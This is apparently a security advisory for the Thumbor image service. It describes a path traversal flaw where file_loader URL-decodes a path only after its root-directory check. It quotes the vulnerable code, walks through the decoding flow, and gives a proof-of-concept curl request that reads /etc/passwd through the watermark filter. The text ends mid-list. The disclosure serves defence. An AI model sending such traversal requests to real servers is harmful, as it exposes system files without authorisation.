Thumbor has path traversal via post-validation URL decoding bypass in file_loader

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal dir doesn't exist)